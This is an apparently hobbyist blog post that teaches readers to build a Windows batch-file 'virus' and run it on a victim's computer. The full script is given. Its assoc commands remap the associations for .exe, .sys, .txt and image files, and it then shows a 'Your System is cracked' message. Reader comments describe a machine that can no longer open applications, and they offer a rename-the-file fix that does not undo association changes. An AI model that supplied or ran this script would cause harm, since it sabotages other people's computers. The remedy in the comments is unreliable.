Posted by In this article i am gonna show you how to make a virus that changes extension of files.Even though it is not a harmful virus it will change all the files extension and makes it unuseful for the user and he has to again change the files extension to its orginal one.
What is Extension changer ?
Assume that all images (*.jpeg, Gif etc) are by default opening with “Windows Picture and Fax Viewer” but in with this virus,this will change to some other application as you wish for ex: .mpeg application so that it cannot be opened in this way you can disable opening of jpeg application.
HOW TO MAKE EXTENSION CHANGER VIRUS
1. Open a Notepad and copy and paste the below code
@echo off
assoc .txt=jpegfile
assoc .exe=htmlfile
assoc .jpeg=avifile
assoc .png=mpegfile
assoc .mpeg=txtfile
assoc .sys=regfile
msg Your System is cracked …..
exit
- Save it as anyname.bat, and now your virus file is ready.
3. Execute this on Victims computer
Spyboy blog 
how to delete this please help
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Just rename back the extension
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I can’t do anything and I don’t know in what rename sorry for spam
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please help me i dont know in what rename please help
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For example if the image name is xyz.png extension changer might have changed it to xyz.txt ..so just rename it back that will restore the file.
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Thank you i will try
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But I can’t open any app maybe when I want open a chrome it shows (This file does not have an app associated with it for performing this action. Please install an app or, if one is already installed, create an association in the Default Apps Settings page)
Please Help
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